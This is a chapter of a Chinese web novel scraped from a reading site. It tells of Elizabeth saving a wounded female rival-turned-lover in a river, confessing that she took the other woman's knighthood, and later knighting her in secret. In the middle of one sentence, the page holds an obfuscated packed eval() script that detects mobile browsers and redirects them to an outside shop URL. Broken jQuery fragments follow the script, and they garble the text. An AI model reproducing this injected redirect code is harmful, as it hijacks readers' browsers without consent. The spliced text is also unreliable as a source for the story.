默认冷灰
24号文字
方正启体

31. 最烂的睡前故事 ·“真结局”

作者:小路啊小路本书字数:K更新时间:
    敌人赤红的鲜血铺满伊丽莎白脚下的土地,与泥土搅合成黑赫色,散发出一股腥臭气味。伊丽莎白紧咬牙关,目光如炬,挥动剑身的手臂不曾有过片刻的迟疑。


    可就在这时,一人在伊丽莎白与另一人纠缠之际,绕过到她身后,趁其不备,高举手中萃了毒的匕首,就要朝着马背上的人刺下。伊丽莎白也立刻察觉到了身后露出的破绽,一脚踹开与自己纠缠不休的人,正要赶去制止,鲜血就已经溅出。


    试图偷袭的暗杀者倒在地上,身躯如犯了病的病人不断抽搐着,挣扎着求生,可脖颈处的血管已被划破,整个人如同破洞的瓦罐,生命随之从破洞口处流逝,无法挽回。


    地上抽搐的暗杀者很快就不再有任何动静。死亡即失败,或许是意识到马上的人早就不是罗赫里德,意识到了失败正在不可避免地降临,他果断地咬碎了毒牙,让剧毒瞬间吞噬他最后的意识。


    伊丽莎白险些忘了,在自己背后是能与自己并肩作战的,另一个同样尖锐、锋利如剑的灵魂。


    当用剑夺取最后一人的生命后,伊丽莎白喘着大气,回头望去,手脚忽然止不住地发抖。她藏在漆黑斗篷下的大半身躯都被染红,如同侵泡在血池之间,稍稍转移目光,她就会被血池之下的生物拖进到无边的地狱,再不能往返人间,回到自己身边。


    刺入她腹腔的箭矢早就被她自己亲手折断,伊丽莎白无从分辨这箭刺入到了多深的地方,或许早就伤及到了内脏,或许就差那么一点点就要贯穿她一整个腹部。


    可她脸上却异常的平静,没有因疼痛扭曲,也没有愤恨,只是回望着伊丽莎白的眼睛里有那么一点悲伤。她扬起尽是倦怠的笑意,好似在和伊丽莎白作最后的别离。


    紧接着,伊丽莎白看到她如同从天际坠落的鹰,身躯踉跄着从马背上跌落。


    眼看她就要摔下断崖之下,伊丽莎白奋不顾身地奔去。在这一刻,她是想救她的,除此之外再无他想,就连自己的生命也能为之抛掷身后。


    断崖高度足以折断伊丽莎白全身的骨头,可她们又是何其的幸运,被层层树枝托举,最后落入悬崖底的溪水中。从水中探出头时伊丽莎白感觉自己已经死过一遭,如今是新生,只是她二人的生命却还处于无比脆弱的阶段。


    汹涌的水面不断拍打着、冲击着二人,激起一圈又一圈夹带着血丝的浪花,再有那么一会会的时间,水流就能填满伊丽莎白的肺部,彻底更替她身体里的血液。伊丽莎白一手从腋下环抱住她的身体,一手拼命划动着,努力游向岸边,死死咬住那可能有的生还可能。


    “逃吧,伊丽莎白。”她虚弱的声音险些要被浪花吞没,“我是想让你逃的。”


    “即便你认为我是个虚假的骑士,一个真实的、龌龊的骗子,我也想要为你争取这一个机会。”


    哪怕要她用生命去换取,她也不会后悔,只是回顾她短暂的一生,心中还是有那么一点遗憾,“愚蠢也好,大胆妄为也好,我只是想成为一位真正的,被认可的——”


    骑士。


    这个妄念贯穿了她整个前半生,伊丽莎白怎么会不明白,这对她的重要性,也是因为伊丽莎白为了得到一个证明而破灭的理想。


    “是我,那个人是我。”伊丽莎白在她耳边叫喊着,“我并非因为你不是骑士而远离你,我是在害怕。害怕你看透我的灵魂,知晓那段对你来说无比可恨的记忆。”


    “那个抢走原本属于你的…身为骑士的证明的人,那个卑鄙的人是我啊!”翻腾的溪水冰冷得让伊丽莎白感受手脚僵硬,窒息感快要将她淹没。


    那一场在寻常不过的骑士选拔中,混进去了一位不太寻常的候选人。她用束衣模糊了属于她女性的曲线,再套上厚重的盔甲,看上去完全是一副发育不完全的矮个子男孩,没有引起任何人的怀疑。


    如此荒谬地混入到属于男人的赛场中也就算了,还赢下了不属于女人的荣耀,仅差一步骑士授礼就能完成,就差这么一步。


    “和我比比怎么样?”


    不属于任何参试者的声音中断了最后的仪式,为众人来带了新的娱乐。伊丽莎白遮挡了样貌,换上了胞弟的衣服站到了这位赢下最后胜利的未来骑士前面。


    因身份缘故,或许认出了赫德瓦利家的身份,伊丽莎白莽撞、无礼的行为竟因此得到了谅解,甚至为了表彰她这份勇敢无畏的挑战精神,给了她这一特殊的权力,让她直接掠过了众多参试者,来到最后的比试。


    这是一场女人对女人的争斗,只是在知晓真相之前,她们都以为站在自己对面的是份证据,证明自己拥有超越性别之分实力的证据。


    伊丽莎白作为胜者得到了自己想要的证明,拒绝了骑士的授礼,带着这份不输他人的觉悟走入到和罗赫里德的婚姻中;她作为败者,失去了本已得手的证明,还险些被人揭发冒充男人参赛的事实,落荒而逃。


    她赢了、她输了最后又有何区分吗。


    “多好笑。”她用力在脸上挤出笑意,肆意嘲笑着那个可笑的自己,“我竟记恨了你这么久,记恨一个素未蒙面的另一个女人,可原本我们不该这样。”


    “随你的便。”伊丽莎白没想过能得到她的谅解,“要恨我的话,就请在我们活下来之后吧。”


    “我不恨你…我怎么会恨你呢…我爱你,伊丽莎白……”


    她声音很是微弱,仿佛下一秒就要睡过去般飘忽,又像她那随时凋零的生命,让伊丽莎白心生胆怯,急声恳求道,“只要我们活下来——我把属于你的荣誉,还有骑士的头衔还给你。”


    “我来还给你。”


    伊丽莎白向她承诺,用自己引以为荣的赫德瓦利家的名讳、以海德薇莉之名赐予的祝福、以她伊丽莎白的性命起誓,她会争取到那份属于她的权力。


    洪流之中,伊丽莎白看到了伫立山间的马匹,和独自盘旋在她头顶的鹰,恍惚间伊丽莎白如同感受到了它们的视线,好似它们听到了她心中的起誓,正注视着她的灵魂。


    ……


    自下而上的层层汇报递到国王、王后以及罗赫里德的面前时,三人都不约而同地露出震惊和怀疑的神情。只是,当侍从领着风尘仆仆的伊丽莎白出现在王宫大门后,这份怀疑很快地褪去。


    罗赫里德无言地注视着伊丽莎白的脸,眼睛长久地落在她的脸上,好似仍旧在怀疑眼前这个人真的是他的伊丽莎白,而伊丽莎白用话语,亲口告诉他:她回来了。


    “恕伊丽莎白迟迟归来,但愿未曾辜负陛下与王后陛下,以及殿下的信任。”


    屈膝、敬礼,伊丽莎白姿态轻盈、优雅,这是千百次矫正出的成果,不知不觉就刻到了她骨肉中,即便身着粗布麻衣也丝毫没有消减她的高贵。


    见此,罗赫里德想要迎上前的脚步被固定在了原地,化作同样恭敬、拘谨的敬礼。


    “你能平安归来,是我们最大的欣慰。”罗赫里德代国王与王后发表发言。


    何止欣慰。


    国王与王后早就在罗赫里德归来时,从他口中得到了伊丽莎白作出的伟大牺牲与风险,她不仅协同罗赫里德完成与他国签订的协约,更是在政治刺杀上保全了王储的性命。


    二人如同慈爱的父母般抚摸着伊丽莎白的脸庞,止不住地夸奖她,“不愧是赫德瓦利家的女儿,你的英勇不输你家族过往历史中的任何一人。”


    “王室有你,定会走向空前的盛况。”


    一句话,伊丽莎白的地位就得到了来自上位者的首肯,而罗赫里德不久之后也将正式继承王位。


    以王后身份行动的伊丽莎白一刻都未曾停歇地学习、面见诸位大臣、将军、他国访臣,积极参与到政治当中,恨不得再分裂出一人来,从早到晚地穿梭在王宫各处,只有在独自一人时,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218702|197472||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    才容许自己有片刻的喘息。


    伊丽莎白推开王室马厩的大门,抚摸着一匹又一匹探出头的马儿的脖颈,在堆放稻草的地方找到了她。


    “果然在这里啊。”伊丽莎白看着在稻草堆上躺的四仰八叉,完全不会估计形象的人,轻声笑了笑。


    “你是怎么找到我的。”她拍了拍身边的空位,邀请伊丽莎白一同。


    “因为我最初进宫的时候就经常躲在这里。”


    想起那段千方百计躲着礼仪课的时光,伊丽莎白不禁窃笑,又接着惋惜道,“可惜了,等会我还要面见几个贵客,不然就能和你一起躺下了。”


    实在是伊丽莎白这身繁丽衣裙上的蕾丝和织花一旦沾上了干稻草定会被勾坏,来回更换衣服又要花去不少时间。


    可她并不在乎这些,一个翻身拽着伊丽莎白的手臂,就让她同她一起躺倒在稻草堆上。她们亲吻着,像是在掠夺互相口中的空气,又像是那溪水中渡给对方的一口救命气,只有这时候,伊丽莎白才感觉自己真实活在这世间,还有力气接着活下去。


    一吻过后,伊丽莎白侧躺在她身边,手指摩挲着她的嘴唇,问道,“还记得那个小贵族吗?”


    “我们半路走错道,差点被当成盗贼逮捕,最后我们烧了他宅邸的那个?”


    “对的对的。”想起这段经历伊丽莎白笑得格外灿烂,接着对她说,“我又见到他了,你当时真该在场,看看他看到我时的表情,好笑极了,嘴里还结结巴巴地说着有关我们犯下的罪行,明明是他欺压乡民在先,我们才动手的。”


    “我已经能想象到了。”


    她嘴角勾着笑意是那样的鲜活,看得伊丽莎白又吻了上去,情难自已中,伊丽莎白摸到了她腹部的伤口,而她的手也停在了伊丽莎白的小腹。


    “这里会有孩子吗。”她以天真地口吻问道,“如果这个孩子不能在罗赫里德逝世之前诞生,会怎样。”


    “会的,”伊丽莎白向她保证,“这个孩子会在王室的认可中从我的腹中诞生,而他也只能是殿下的孩子,未来的王储。”


    伊丽莎白会爱这个孩子,会抚养他、教导他成为合格的国王,借此紧握那份属于她的权力,只有这样她们才会有新的可能,不需要逃的可能。


    只不过,在那一天到来之前,还有很久,很久……


    而王宫不适合她,在那一天到来之前伊丽莎白明白,必须放她离开。


    伊丽莎白为她送别,临行之际,她为她实行了一场骑士的加冕仪式。


    “我以我之名。”伊丽莎白将剑身搭在半跪在身前的人的左肩之上,靠近心脏的位置,宣读着属于她们的誓词,“我祝愿你的前路光明磊落,阴霾不曾遮蔽你的双眼。


    “你的心将永远纯洁神圣,不受邪恶的诅咒。


    “我祝愿我的爱将时刻相伴在你身侧,使你拥有对抗艰难险阻的勇气。”


    言毕,她也在伊丽莎白的剑上落下虔诚的一吻。这一吻是离别的象征,此后二人或许难以再见,但爱会将二人的心紧紧相连,不论身处何处,相隔多远。


    “回头吧,伊丽莎白。”她说,“别目送我的离去。”


    如她所愿,伊丽莎白也在她离开之际,转身离开,她最后的背影从未留在伊丽莎白的记忆中,好似她未曾离开那般,一直陪伴在伊丽莎白身侧。


    那之后,一切都随着伊丽莎白所愿进行着,她诞下了未来的王储。


    在罗赫里德的床榻旁,陪着她相伴许久的丈夫演奏完此生最后的乐章。


    时至今日,伊丽莎白都未收到过她的信笺,可只要抬头望向天际,当那只独鹰在天际盘旋之际,她定在某处书写着属于她的骑士的篇章。


    你我都知道,这将不会一段“仅供欣赏,请勿模仿”的、女骑士的故事——伊丽莎白·海德薇莉笔。


    2026.1.20
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)